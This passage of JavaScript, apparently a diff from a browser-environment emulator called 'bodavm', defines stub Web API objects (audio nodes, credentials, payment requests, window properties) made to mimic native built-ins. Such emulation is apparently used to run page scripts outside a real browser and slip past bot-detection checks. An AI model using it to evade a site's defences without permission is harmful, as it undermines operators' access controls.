"OffscreenCanvas", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "convertToBlob", {configurable:true, enumerable:true, writable:true, value:function convertToBlob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "convertToBlob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "getContext", {configurable:true, enumerable:true, writable:true, value:function getContext (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "getContext", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "transferToImageBitmap", {configurable:true, enumerable:true, writable:true, value:function transferToImageBitmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "transferToImageBitmap", arguments)}},'prototype'); - -// open对象 -bodavm.memory.globalobj['open'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('open', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('open', "name", {configurable:true, enumerable:false, writable:false, value:"open"}); - -// openDatabase对象 -bodavm.memory.globalobj['openDatabase'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('openDatabase', "length", {configurable:true, enumerable:false, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('openDatabase', "name", {configurable:true, enumerable:false, writable:false, value:"openDatabase"}); - -// origin对象 -bodavm.memory.globalobj['origin'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('origin', "0", {configurable:false, enumerable:true, writable:false, value:"h"}); -bodavm.toolsFunc.defineProperty('origin', "1", {configurable:false, enumerable:true, writable:false, value:"t"}); -bodavm.toolsFunc.defineProperty('origin', "2", {configurable:false, enumerable:true, writable:false, value:"t"}); -bodavm.toolsFunc.defineProperty('origin', "3", {configurable:false, enumerable:true, writable:false, value:"p"}); -bodavm.toolsFunc.defineProperty('origin', "4", {configurable:false, enumerable:true, writable:false, value:":"}); -bodavm.toolsFunc.defineProperty('origin', "5", {configurable:false, enumerable:true, writable:false, value:"/"}); -bodavm.toolsFunc.defineProperty('origin', "6", {configurable:false, enumerable:true, writable:false, value:"/"}); -bodavm.toolsFunc.defineProperty('origin', "7", {configurable:false, enumerable:true, writable:false, value:"l"}); -bodavm.toolsFunc.defineProperty('origin', "8", {configurable:false, enumerable:true, writable:false, value:"o"}); -bodavm.toolsFunc.defineProperty('origin', "9", {configurable:false, enumerable:true, writable:false, value:"c"}); -bodavm.toolsFunc.defineProperty('origin', "10", {configurable:false, enumerable:true, writable:false, value:"a"}); -bodavm.toolsFunc.defineProperty('origin', "11", {configurable:false, enumerable:true, writable:false, value:"l"}); -bodavm.toolsFunc.defineProperty('origin', "12", {configurable:false, enumerable:true, writable:false, value:"h"}); -bodavm.toolsFunc.defineProperty('origin', "13", {configurable:false, enumerable:true, writable:false, value:"o"}); -bodavm.toolsFunc.defineProperty('origin', "14", {configurable:false, enumerable:true, writable:false, value:"s"}); -bodavm.toolsFunc.defineProperty('origin', "15", {configurable:false, enumerable:true, writable:false, value:"t"}); -bodavm.toolsFunc.defineProperty('origin', "16", {configurable:false, enumerable:true, writable:false, value:":"}); -bodavm.toolsFunc.defineProperty('origin', "17", {configurable:false, enumerable:true, writable:false, value:"6"}); -bodavm.toolsFunc.defineProperty('origin', "18", {configurable:false, enumerable:true, writable:false, value:"3"}); -bodavm.toolsFunc.defineProperty('origin', "19", {configurable:false, enumerable:true, writable:false, value:"3"}); -bodavm.toolsFunc.defineProperty('origin', "20", {configurable:false, enumerable:true, writable:false, value:"4"}); -bodavm.toolsFunc.defineProperty('origin', "21", {configurable:false, enumerable:true, writable:false, value:"2"}); -bodavm.toolsFunc.defineProperty('origin', "length", {configurable:false, enumerable:false, writable:false, value:22}); - -// originAgentCluster对象 -bodavm.memory.globalobj['originAgentCluster'] = { - _boisinit:bodavm.config.isinit - } - -// OscillatorNode对象 -bodavm.memory.globalobj['OscillatorNode'] = function OscillatorNode(){if (!(this instanceof OscillatorNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OscillatorNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OscillatorNode'], "OscillatorNode"); -bodavm.memory.globalobj['OscillatorNode'].prototype.__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; -bodavm.memory.globalobj['OscillatorNode'].__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode']; -bodavm.toolsFunc.defineProperty('OscillatorNode', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OscillatorNode', "frequency", {configurable:true, enumerable:true, get:function frequency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "frequency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OscillatorNode', "detune", {configurable:true, enumerable:true, get:function detune (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "detune_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OscillatorNode', "setPeriodicWave", {configurable:true, enumerable:true, writable:true, value:function setPeriodicWave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OscillatorNode'].prototype, "OscillatorNode", "setPeriodicWave", arguments)}},'prototype'); - -// OTPCredential对象 -bodavm.memory.globalobj['OTPCredential'] = function OTPCredential(){if (!(this instanceof OTPCredential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OTPCredential'], "OTPCredential"); -bodavm.memory.globalobj['OTPCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['OTPCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('OTPCredential', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OTPCredential'].prototype, "OTPCredential", "code_get", arguments)}, set:undefined},'prototype'); - -// outerHeight对象 -bodavm.memory.globalobj['outerHeight'] = { - _boisinit:bodavm.config.isinit - } - -// outerWidth对象 -bodavm.memory.globalobj['outerWidth'] = { - _boisinit:bodavm.config.isinit - } - -// OverconstrainedError对象 -bodavm.memory.globalobj['OverconstrainedError'] = function OverconstrainedError(){if (!(this instanceof OverconstrainedError)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OverconstrainedError': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OverconstrainedError'], "OverconstrainedError"); -bodavm.toolsFunc.defineProperty('OverconstrainedError', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OverconstrainedError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OverconstrainedError', "constraint", {configurable:true, enumerable:true, get:function constraint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OverconstrainedError'].prototype, "OverconstrainedError", "constraint_get", arguments)}, set:undefined},'prototype'); - -// PaymentRequestUpdateEvent对象 -bodavm.memory.globalobj['PaymentRequestUpdateEvent'] = function PaymentRequestUpdateEvent(){if (!(this instanceof PaymentRequestUpdateEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequestUpdateEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequestUpdateEvent'], "PaymentRequestUpdateEvent"); -bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PaymentRequestUpdateEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PaymentRequestUpdateEvent', "updateWith", {configurable:true, enumerable:true, writable:true, value:function updateWith (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype, "PaymentRequestUpdateEvent", "updateWith", arguments)}},'prototype'); - -// PageTransitionEvent对象 -bodavm.memory.globalobj['PageTransitionEvent'] = function PageTransitionEvent(){if (!(this instanceof PageTransitionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PageTransitionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PageTransitionEvent'], "PageTransitionEvent"); -bodavm.memory.globalobj['PageTransitionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PageTransitionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PageTransitionEvent', "persisted", {configurable:true, enumerable:true, get:function persisted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PageTransitionEvent'].prototype, "PageTransitionEvent", "persisted_get", arguments)}, set:undefined},'prototype'); - -// pageXOffset对象 -bodavm.memory.globalobj['pageXOffset'] = { - _boisinit:bodavm.config.isinit - } - -// pageYOffset对象 -bodavm.memory.globalobj['pageYOffset'] = { - _boisinit:bodavm.config.isinit - } - -// PannerNode对象 -bodavm.memory.globalobj['PannerNode'] = function PannerNode(){if (!(this instanceof PannerNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PannerNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PannerNode'], "PannerNode"); -bodavm.memory.globalobj['PannerNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['PannerNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('PannerNode', "panningModel", {configurable:true, enumerable:true, get:function panningModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_get", arguments)}, set:function panningModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "panningModel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "positionX", {configurable:true, enumerable:true, get:function positionX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "positionY", {configurable:true, enumerable:true, get:function positionY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "positionZ", {configurable:true, enumerable:true, get:function positionZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "positionZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "orientationX", {configurable:true, enumerable:true, get:function orientationX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "orientationY", {configurable:true, enumerable:true, get:function orientationY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "orientationZ", {configurable:true, enumerable:true, get:function orientationZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "orientationZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "distanceModel", {configurable:true, enumerable:true, get:function distanceModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_get", arguments)}, set:function distanceModel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "distanceModel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "refDistance", {configurable:true, enumerable:true, get:function refDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_get", arguments)}, set:function refDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "refDistance_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "maxDistance", {configurable:true, enumerable:true, get:function maxDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_get", arguments)}, set:function maxDistance (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "maxDistance_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "rolloffFactor", {configurable:true, enumerable:true, get:function rolloffFactor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_get", arguments)}, set:function rolloffFactor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "rolloffFactor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "coneInnerAngle", {configurable:true, enumerable:true, get:function coneInnerAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_get", arguments)}, set:function coneInnerAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneInnerAngle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterAngle", {configurable:true, enumerable:true, get:function coneOuterAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_get", arguments)}, set:function coneOuterAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterAngle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "coneOuterGain", {configurable:true, enumerable:true, get:function coneOuterGain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_get", arguments)}, set:function coneOuterGain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "coneOuterGain_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "setOrientation", {configurable:true, enumerable:true, writable:true, value:function setOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setOrientation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PannerNode', "setPosition", {configurable:true, enumerable:true, writable:true, value:function setPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PannerNode'].prototype, "PannerNode", "setPosition", arguments)}},'prototype'); - -// PasswordCredential对象 -bodavm.memory.globalobj['PasswordCredential'] = function PasswordCredential(){if (!(this instanceof PasswordCredential)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PasswordCredential': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PasswordCredential'], "PasswordCredential"); -bodavm.memory.globalobj['PasswordCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['PasswordCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('PasswordCredential', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "password_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PasswordCredential', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PasswordCredential', "iconURL", {configurable:true, enumerable:true, get:function iconURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PasswordCredential'].prototype, "PasswordCredential", "iconURL_get", arguments)}, set:undefined},'prototype'); - -// PaymentAddress对象 -bodavm.memory.globalobj['PaymentAddress'] = function PaymentAddress(){if (!(this instanceof PaymentAddress)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentAddress'], "PaymentAddress"); -bodavm.toolsFunc.defineProperty('PaymentAddress', "city", {configurable:true, enumerable:true, get:function city (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "city_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "country", {configurable:true, enumerable:true, get:function country (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "country_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "dependentLocality", {configurable:true, enumerable:true, get:function dependentLocality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "dependentLocality_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "organization", {configurable:true, enumerable:true, get:function organization (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "organization_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "phone", {configurable:true, enumerable:true, get:function phone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "phone_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "postalCode", {configurable:true, enumerable:true, get:function postalCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "postalCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "recipient", {configurable:true, enumerable:true, get:function recipient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "recipient_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "region", {configurable:true, enumerable:true, get:function region (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "region_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "sortingCode", {configurable:true, enumerable:true, get:function sortingCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "sortingCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "addressLine", {configurable:true, enumerable:true, get:function addressLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "addressLine_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentAddress', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentAddress'].prototype, "PaymentAddress", "toJSON", arguments)}},'prototype'); - -// PaymentManager对象 -bodavm.memory.globalobj['PaymentManager'] = function PaymentManager(){if (!(this instanceof PaymentManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentManager'], "PaymentManager"); -bodavm.toolsFunc.defineProperty('PaymentManager', "userHint", {configurable:true, enumerable:true, get:function userHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_get", arguments)}, set:function userHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "userHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentManager', "enableDelegations", {configurable:true, enumerable:true, writable:true, value:function enableDelegations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentManager'].prototype, "PaymentManager", "enableDelegations", arguments)}},'prototype'); - -// PaymentMethodChangeEvent对象 -bodavm.memory.globalobj['PaymentMethodChangeEvent'] = function PaymentMethodChangeEvent(){if (!(this instanceof PaymentMethodChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentMethodChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentMethodChangeEvent'], "PaymentMethodChangeEvent"); -bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['PaymentRequestUpdateEvent'].prototype; -bodavm.memory.globalobj['PaymentMethodChangeEvent'].__proto__=bodavm.memory.globalobj['PaymentRequestUpdateEvent']; -bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodName", {configurable:true, enumerable:true, get:function methodName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentMethodChangeEvent', "methodDetails", {configurable:true, enumerable:true, get:function methodDetails (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentMethodChangeEvent'].prototype, "PaymentMethodChangeEvent", "methodDetails_get", arguments)}, set:undefined},'prototype'); - -// PaymentRequest对象 -bodavm.memory.globalobj['PaymentRequest'] = function PaymentRequest(){if (!(this instanceof PaymentRequest)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PaymentRequest': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentRequest'], "PaymentRequest"); -bodavm.memory.globalobj['PaymentRequest'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PaymentRequest'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PaymentRequest', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingAddress", {configurable:true, enumerable:true, get:function shippingAddress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingAddress_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingOption", {configurable:true, enumerable:true, get:function shippingOption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingOption_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "shippingType", {configurable:true, enumerable:true, get:function shippingType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "shippingType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingaddresschange", {configurable:true, enumerable:true, get:function onshippingaddresschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_get", arguments)}, set:function onshippingaddresschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingaddresschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "onshippingoptionchange", {configurable:true, enumerable:true, get:function onshippingoptionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_get", arguments)}, set:function onshippingoptionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onshippingoptionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "canMakePayment", {configurable:true, enumerable:true, writable:true, value:function canMakePayment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "canMakePayment", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "hasEnrolledInstrument", {configurable:true, enumerable:true, writable:true, value:function hasEnrolledInstrument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "hasEnrolledInstrument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "show", {configurable:true, enumerable:true, writable:true, value:function show (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "show", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentRequest', "onpaymentmethodchange", {configurable:true, enumerable:true, get:function onpaymentmethodchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_get", arguments)}, set:function onpaymentmethodchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentRequest'].prototype, "PaymentRequest", "onpaymentmethodchange_set", arguments)}},'prototype'); - -// PaymentResponse对象 -bodavm.memory.globalobj['PaymentResponse'] = function PaymentResponse(){if (!(this instanceof PaymentResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PaymentResponse'], "PaymentResponse"); -bodavm.memory.globalobj['PaymentResponse'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PaymentResponse'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PaymentResponse', "requestId", {configurable:true, enumerable:true, get:function requestId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "requestId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "methodName", {configurable:true, enumerable:true, get:function methodName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "methodName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "details", {configurable:true, enumerable:true, get:function details (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "details_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingAddress", {configurable:true, enumerable:true, get:function shippingAddress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingAddress_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "shippingOption", {configurable:true, enumerable:true, get:function shippingOption (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "shippingOption_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "payerName", {configurable:true, enumerable:true, get:function payerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PaymentResponse', "payerEmail", {configurable:true, enumerable:true, get:function payerEmail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PaymentResponse'].prototype, "PaymentResponse", "payerEmail_get", arguments)}, set:undefined},'prototype'); 